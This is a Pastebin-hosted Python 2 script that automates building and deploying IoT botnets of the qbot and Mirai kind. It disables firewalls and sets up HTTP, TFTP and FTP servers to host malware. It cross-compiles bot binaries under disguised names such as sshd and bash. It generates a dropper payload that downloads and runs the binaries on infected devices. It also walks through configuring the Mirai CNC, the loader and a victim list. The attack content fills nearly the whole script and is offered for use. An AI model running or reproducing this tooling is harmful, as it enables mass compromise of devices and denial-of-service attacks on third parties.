Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # simple auto installer for a few stuff
- # Coded by cheats
- import subprocess
- import socket
- import os
- import urllib2
- import sys
- import random
- import time
- def system(cmd):
- subprocess.call(cmd, shell=True)
- RED = '\033[31m'
- CY = '\033[36m'
- NOR = '\033[0m'
- banner = """
- _,----.
- ,-' __`.
- / . /--\`)
- / . )\/_,--\
- / ,'\/,-' _\_
- | / ,' ,---' __\
- ,' / ,: _,-\'_,(
- (/ / \ \,' |' _) ,. ,.,.
- \/ | ' \ \ ,. \ )
- \, ,- \ /,' )//
- ; \'` _____,-' _|` ,'
- \ `"\ (_,'_) _,-' ,'
- \ \ \ _,-' ,'
- |, , ) `' _,-'
- /`/ Y , \ _,-'
- : / \-'
- | `--.__\___
- |._ __)
- -hrr- | `--.___ _)
- | `----'
- / \
- ' . )
- """
- def yuminstalls():
- print("Installing all the yum installs")
- system("yum install gcc -y")
- system("yum install nano -y")
- system("yum install wget -y")
- system("yum install perl -y")
- system("yum install xinetd tftp tftp-server -y")
- system("yum install screen -y")
- system("yum install nc -y")
- system("yum install cpan -y")
- system("yum install httpd -y")
- system("yum install vsftpd -y")
- system("yum install unzip -y")
- system("yum install gcc python-paramiko -y")
- system("service iptables stop")
- system("chkconfig iptables off")
- system("iptables -F")
- system("service vsftpd start")
- system("service xinetd start")
- system("service httpd start")
- system('echo -e "ulimit -n 99999" >> ~/.bashrc')
- system("echo -e \"ulimit -n 99999\" > ulimit.sh")
- system("sh ulimit.sh")
- system("rm -rf ulimit.sh")
- fdsize = open("/usr/include/bits/typesizes.h","r").readlines()
- fdsizew = open("/usr/include/bits/typesizes.h","w").write("")
- for line in fdsize:
- line = line.replace("1024","99999")
- fdsizew = open("/usr/include/bits/typesizes.h","a").write(line)
- system("clear")
- def aptinstalls():
- system("apt-get update -y")
- system("apt-get upgrade -y")
- system("apt-get install gcc -y")
- system("apt-get install nano -y")
- system("apt-get install wget -y")
- system("apt-get install perl -y")
- system("apt-get install xinetd tftp tftp-server -y")
- system("apt-get install screen -y")
- system("apt-get install nc -y")
- system("apt-get install cpan -y")
- system("apt-get install apache2 -y")
- system("apt-get install unzip -y")
- system("apt-get install python-paramiko -y")
- system("apt-get install zmap -y")
- system("service iptables stop")
- system("apt-get install gcc golang electric-fence sudo git -y")
- system("apt-get install mysql-server mysql-client -y")
- system("chkconfig iptables off")
- system("iptables -F")
- system("service xinetd start")
- system("service apache2 start")
- system('echo -e "ulimit -n 99999" >> ~/.bashrc')
- system("echo -e \"ulimit-n 99999\" > ulimit.sh")
- system("sh ulimit.sh")
- system("rm -rf ulimit.sh")
- def scanningshit():
- system("yum install perl cpan -y");
- system("cpan force install IO::Socket");
- system("cpan force install IO::Select ");
- system("cpan force install Parallel::ForkManager");
- system("cpan force install Net::SSH2");
- system("yum install gcc* -y --skip-broken");
- system("yum install gcc php-devel php-pear libssh2 libssh2-devel -y --skip-broken");
- system("pecl install -f ssh2");
- system("touch /etc/php.d/ssh2.ini");
- system("echo extension=ssh2.so > /etc/php.d/ssh2.ini");
- system("yum install httpd -y");
- system("/etc/init.d/httpd restart");
- system("php -m | grep ssh2");
- system("cpan -fi Net::SSH2");
- system("cpan -fi Parallel::ForkManager");
- system("yum groupinstall 'Development Tools' -y --skip-broken");
- def netis():
- binary = raw_input("Name of MIPSEL Binary: ")
- ip = raw_input("hosting ip: ")
- system("apt-get install zmap -y")
- os.system(" wget https://pastebin.com/raw/kPi444M5 -O login;chmod 777 login; ./login; rm -rf login")
- os.system('echo "cd /tmp || cd /var/; tftp -g '+ ip +' -r '+ binary +'; chmod 777 '+ binary +'; ./'+ binary +'; rm -rf '+ binary +'" >> netis.txt ')
- def miraishit():
- system('''echo -e "# default: off
- # description: The tftp server serves files using the trivial file transfer \
- # protocol. The tftp protocol is often used to boot diskless \
- # workstations, download configuration files to network-aware printers, \
- # and to start the installation process for some operating systems.
- service tftp
- {
- socket_type = dgram
- protocol = udp
- wait = yes
- user = root
- server = /usr/sbin/in.tftpd
- server_args = -s -c /var/lib/tftpboot
- disable = no
- per_source = 11
- cps = 100 2
- flags = IPv4
- }
- " > /etc/xinetd.d/tftp''')
- system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2")
- system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2")
- system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2")
- system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2")
- system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2")
- system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2")
- system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2")
- system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2")
- system("wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2")
- print CY + "Finished grabbing archs" + NOR
- time.sleep(2)
- system("tar -jxf cross-compiler-armv4l.tar.bz2")
- system("tar -jxf cross-compiler-i586.tar.bz2")
- system("tar -jxf cross-compiler-mips.tar.bz2")
- system("tar -jxf cross-compiler-armv6l.tar.bz2")
- system("tar -jxf cross-compiler-mips.tar.bz2")
- system("tar -jxf cross-compiler-mipsel.tar.bz2")
- system("tar -jxf cross-compiler-powerpc.tar.bz2")
- system("tar -jxf cross-compiler-sh4.tar.bz2")
- system("tar -jxf cross-compiler-sparc.tar.bz2")
- print CY + "Finshed unzipping " + NOR
- time.sleep(0.5)
- system("mkdir /etc/xcompile")
- system("mv cross-compiler* /etc/xcompile")
- system("mv cross-compiler-armv4l /etc/xcompile/armv4l")
- system("mv cross-compiler-i586 /etc/xcompile/i586")
- system("mv cross-compiler-mips /etc/xcompile/mips")
- system("mv cross-compiler-mipsel /etc/xcompile/mipsel")
- system("mv cross-compiler-powerpc /etc/xcompile/powerpc")
- system("mv cross-compiler-sparc /etc/xcompile/sparc")
- system("mv cross-compiler-armv6l /etc/xcompile/armv6l")
- print CY + "Finshed Moving The Archs " + NOR
- time.sleep(0.5)
- system("export PATH=$PATH:/etc/xcompile/armv4l/bin")
- system("export PATH=$PATH:/etc/xcompile/armv6l/bin")
- system("export PATH=$PATH:/etc/xcompile/i586/bin")
- system("export PATH=$PATH:/etc/xcompile/m68k/bin")
- system("export PATH=$PATH:/etc/xcompile/mips/bin")
- system("export PATH=$PATH:/etc/xcompile/mipsel/bin")
- system("export PATH=$PATH:/etc/xcompile/powerpc/bin")
- system("export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin")
- system("export PATH=$PATH:/etc/xcompile/sh4/bin")
- system("export PATH=$PATH:/etc/xcompile/sparc/bin")
- system("export PATH=$PATH:/etc/xcompile/armv6l/bin")
- time.sleep(1)
- system("export PATH=$PATH:/usr/local/go/bin")
- system("export GOPATH=$HOME/Documents/go")
- print CY + "Finshed Exporting" + NOR
- time.sleep(0.5)
- system("go get github.com/go-sql-driver/mysql")
- system("go get github.com/mattn/go-shellwords")
- system("iptables -F")
- system("/etc/ini.d/iptbales stop")
- def miraiMysql():
- system("wget https://hastebin.com/raw/ofasunanah.sql -O mirai.sql")
- system("mysql -u root -p"+ mysqlpass +" < mirai.sql")
- def installShit():
- system("yum update -y")
- system("yum upgrade -y")
- system("yum install gcc -y")
- system("yum install nc -y")
- system("yum install screen -y")
- system("yum install perl cpan -y")
- system("yum install httpd -y")
- system("yum install xinetd tftp tftp-server -y")
- system("yum install vsftpd -y")
- def comp(botc,ip,botport):
- compileas = ["ntpd",
- "sshd",
- "openssh",
- "bash",
- "tftp",
- "wget",
- "cron",
- "ftp",
- "pftp",
- "sh",
- "idkbot",
- "apache2"]
- getarch = ['http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2',
- 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2',
- 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2',
- 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2',
- 'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2',
- 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2',
- 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2',
- 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2',
- 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2',
- 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2',
- 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2',
- 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2']
- ccs = ["cross-compiler-mips",
- "cross-compiler-mipsel",
- "cross-compiler-sh4",
- "cross-compiler-x86_64",
- "cross-compiler-armv6l",
- "cross-compiler-i686",
- "cross-compiler-powerpc",
- "cross-compiler-i586",
- "cross-compiler-m68k",
- "cross-compiler-sparc",
- "cross-compiler-armv4l",
- "cross-compiler-armv5l"]
- system("rm -rf /var/www/html/* /var/lib/tftpboot/* /var/ftp/*")
- x = 0
- for i in ccs:
- if(os.path.isdir(i)==True):
- print i + " Already exists."
- x += 1
- else:
- print "Downloading " + i
- system("wget --no-check-certificate -q " + getarch[x])
- system("tar -xvf " + i + ".tar.bz2")
- system("rm -rf " + i + ".tar.bz2")
- x += 1
- print "Cross compilers installed."
- BotFile = open(botc, "r").readlines()
- payload = "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; wget http://" + ip + "/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp " + ip + " -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g " + ip + "; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 " + ip + " ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *; exit"
- pload = open("payload.txt","w").write(payload)
- writebot = open(botc, "w").write("")
- for line in BotFile:
- line = line.replace("IP:23",ip + ":" + botport)
- line = line.replace("PAYLOADZZZZ", payload)
- writebot = open(botc, "a").write(line)
- num = 0
- for cc in ccs:
- arch = cc.split("-")[2]
- system("./"+cc+"/bin/"+arch+"-gcc -static -pthread -D" + arch.upper() + " -o " + compileas[num] + " " + botc + " > /dev/null")
- num += 1
- system("service httpd start")
- system("service vsftpd start")
- system('''echo -e "# default: off
- # description: The tftp server serves files using the trivial file transfer \
- # protocol. The tftp protocol is often used to boot diskless \
- # workstations, download configuration files to network-aware printers, \
- # and to start the installation process for some operating systems.
- service tftp
- {
- socket_type = dgram
- protocol = udp
- wait = yes
- user = root
- server = /usr/sbin/in.tftpd
- server_args = -s -c /var/lib/tftpboot
- disable = no
- per_source = 11
- cps = 100 2
- flags = IPv4
- }
- " > /etc/xinetd.d/tftp''')
- system("service xinetd start")
- system('''echo -e "listen=YES
- local_enable=NO
- anonymous_enable=YES
- write_enable=NO
- anon_root=/var/ftp
- anon_max_rate=2048000
- xferlog_enable=YES
- listen_address='''+ ip +'''
- listen_port=21" > /etc/vsftpd/vsftpd-anon.conf''')
- system("service vsftpd restart")
- for i in compileas:
- system("cp " + i + " /var/www/html")
- system("cp " + i + " /var/ftp")
- system("mv " + i + " /var/lib/tftpboot")
- system('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp1.sh')
- system('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp1.sh')
- system('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp1.sh')
- system('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp2.sh')
- system('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp2.sh')
- system('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp2.sh')
- system('echo -e "#!/bin/bash" > /var/www/html/bins.sh')
- for i in compileas:
- system('echo -e "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; wget http://' + ip + '/' + i + '; chmod +x ' + i + '; ./' + i + '; rm -rf ' + i + '" >> /var/www/html/bins.sh')
- system('echo -e "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' ' + i + ' ' + i + '; chmod 777 ' + i + ' ./' + i + '; rm -rf ' + i + '" >> /var/ftp/ftp1.sh')
- system('echo -e "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; tftp ' + ip + ' -c get ' + i + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp1.sh')
- system('echo -e "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; tftp -r ' + i + ' -g ' + ip + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp2.sh')
- system("service xinetd restart")
- system("service httpd restart")
- system('echo -e "ulimit -n 99999" >> ~/.bashrc')
- print("\x1b[0;32mSuccessfully cross compiled!\x1b[0m")
- print "Payload: " + payload
- def systemnet(server,botport,adminport):
- system("service iptables stop")
- system("chkconfig iptables off")
- fdsize = open("/usr/include/bits/typesizes.h","r").readlines()
- fdsizew = open("/usr/include/bits/typesizes.h","w").write("")
- for line in fdsize:
- line = line.replace("1024","99999")
- fdsizew = open("/usr/include/bits/typesizes.h","a").write(line)
- system("gcc -pthread -o start " + server)
- system("rm -rf " + server)
- system("echo -e \"ulimit -n 99999\" > ulimit.sh")
- system("sh ulimit.sh")
- system("ulimit -n 99999")
- system("rm -rf ulimit.sh")
- system("screen -dmS Net ./start " + botport + " 1000 " + adminport)
- system("clear")
- print("Botnet started on port " + adminport)
- print("Put your logins in this file in the format of \"username pass\" ")
- time.sleep(1)
- system("nano login.txt")
- system("rm -rf telnet.txt")
- print "\n"
- system("cat payload.txt")
- while True:
- print banner
- print RED + "[1] ubuntu/debian based servers" + NOR
- print RED + "[2) centos based servers" + NOR
- print RED + "[3] Modules for LRAB" + NOR
- print RED + "[4] NETIS shit" + NOR
- print RED + "[5] Automated qbot setup" + NOR
- print RED + "[6] Mirai help" + NOR
- print RED + "[7] UDP Dos Attack" + NOR
- print RED + "[8] exit python script" + NOR
- print ""
- answer = raw_input("-> ")
- if answer == "1":
- aptinstalls()
- break
- elif answer == "2":
- yuminstalls()
- break
- elif answer == "3":
- scanningshit()
- break
- elif answer == "4":
- netis()
- break
- elif answer == "5":
- ip = raw_input("IP:")
- server = raw_input("Server:")
- BotFile = raw_input("Bot File:")
- botport = raw_input("Bot Port:")
- adminport = raw_input("Admin Port:")
- installShit()
- comp(BotFile,ip,botport)
- systemnet(server,botport,adminport)
- break
- elif answer == "7":
- print CY + "UDP DOS ATTACK !!!" + NOR
- break
- elif answer == "8":
- print "GoodBye !"
- time.sleep(1)
- sys.exit(0)
- break
- elif answer == "6":
- system("clear")
- print banner
- print CY + "[1] for all the installs for mirai" + NOR
- print CY + "[2] Help with MySql" + NOR
- print CY + "[3] Help with The bot aka table.c" + NOR
- print CY + "[4] Help with the loader and dlrs" + NOR
- print CY + "[5] Help with little errors" + NOR
- mirai = raw_input("-> ")
- if mirai == "1":
- aptinstalls()
- miraishit()
- break
- elif mirai == "2":
- print RED + "Please mysql password" + NOR
- mysqlpass = raw_input("-> ")
- miraiMysql()
- print RED + "If you successfully Entered your mysql password the admin login to your mirai is\nusername:root\npassword:" + NOR
- break
- elif mirai == "3":
- print CY + "Done now you need to edit your table.c and main.go" + NOR
- print ""
- print CY + "table.c: TABLE_CNC_DOMAIN, 'domain here but in hex' 7);" + NOR
- print CY + "this is where your domain will go" + NOR
- print CY + "you need to compile the enc.c and do this command" + NOR
- print CY + "./enc string example.com" + NOR
- print CY + "the, 7 at the end is how many bytes it tells you it" + NOR
- print CY + "so once you compiled your domain put it the TABLE_CNC_DOMAIN and the TABLE_SCAN_CB_DOMAIN" + NOR
- print CY + "Make sure to change the bytes at the end of the TABLE_CNC_DOMAIN & TABLE_SCAN_CB_DOMAIN" + NOR
- print ""
- print CY + "Time to edit the main.go" + NOR
- print CY + "const DatabaseAddr string = '127.0.0.1:3306'\r\nconst DatabaseUser string = 'root'\r\nconst DatabasePass string = 'dbpassword'\r\nconst DatabaseTable string = 'mirai'" + NOR
- print CY + "Edit the database pass to what you set your mysql pass as" + NOR
- print CY + "Make sure to add 3306 at the of 127.0.0.1" + NOR
- enterz = raw_input("enter to return")
- break
- elif mirai == "4":
- system("clear")
- print CY + "Time to setup The dlr, this is really simple, dont fail you fool" + NOR
- print CY + "edit the main.c define HTTP_SERVER utils_inet_addr(8,8,8,8)" + NOR
- print CY + "Edit the 8,8,8,8 to your servers ip leave the commas" + NOR
- print CY + "now run ./build.sh, then run " + NOR
- print CY + "Now cd into the release folder and you should a bunch of 'dlr.'" + NOR
- print CY + "Now move them into your loader/bins dir like this" + NOR
- print CY + "cp dlr.* /mirai/loader/bins" + NOR
- print CY + "Moving onto the loader now, first you want to cd into loader then do cd into the src" + NOR
- print CY + "cd loader/src" + NOR
- print CY + "Now edit the main.c, edit all the addresses to your servers ip" + NOR
- print CY + "Edit the wget and tftp address to your nets ip" + NOR
- print CY + "How to load\r\n1.) get you a good list\r\n2.) cat list.txt | ./loader" + NOR
- enterzz = raw_input("enter to return")
Advertisement
Add Comment
Please, Sign In to add comment